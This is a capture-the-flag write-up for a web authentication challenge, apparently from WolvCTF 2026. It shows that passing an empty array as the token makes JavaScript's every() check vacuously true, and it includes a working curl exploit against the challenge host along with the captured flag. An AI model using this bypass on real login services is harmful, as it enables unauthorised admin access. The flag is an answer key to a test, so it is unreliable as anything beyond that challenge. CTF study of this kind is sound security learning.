You Shall Pass
An authentication service asks you to log in with a user and token. It checks every submitted token against a signature on file. Admin access is ordinarily off limits, but does the verifier really check every token before admitting a login?
Send a POST request to /login with a JSON body containing a user and a token.
Connections
Attachments
Recon
The service accepts POST /login with a JSON user and token. The supplied Express code derives the expected token with HMAC-SHA256 and a fresh 32-byte secret, so we do not pursue guessing or forging the admin token. The verification loop deserves closer attention:
const expected = expectedToken(user);
const tokens = [].concat(token);
if (!tokens.every((candidate) => candidate === expected)) {
return res.status(403).json({ error: "bad token" });
}
return res.json({ flag: FLAG });
A separate strict comparison requires user === "admin".
Empty-array bypass
We check the language behavior locally before sending it to the service:
$ node -e 'const t = [].concat([]); console.log(t, t.every(x => x === "expected"))'
[] true
token: [] makes every() vacuously true, so the HMAC callback never runs.
Flag capture
$ curl -s -i -X POST https://you-shall-pass-web.wolvctf-2026.kctf.cloud/login \
-H 'Content-Type: application/json' \
-d '{"user":"admin","token":[]}'
HTTP/2 200
content-type: application/json; charset=utf-8
{"flag":"wctf{acc011233b7b476af70ecf802cf7dc7b}"}
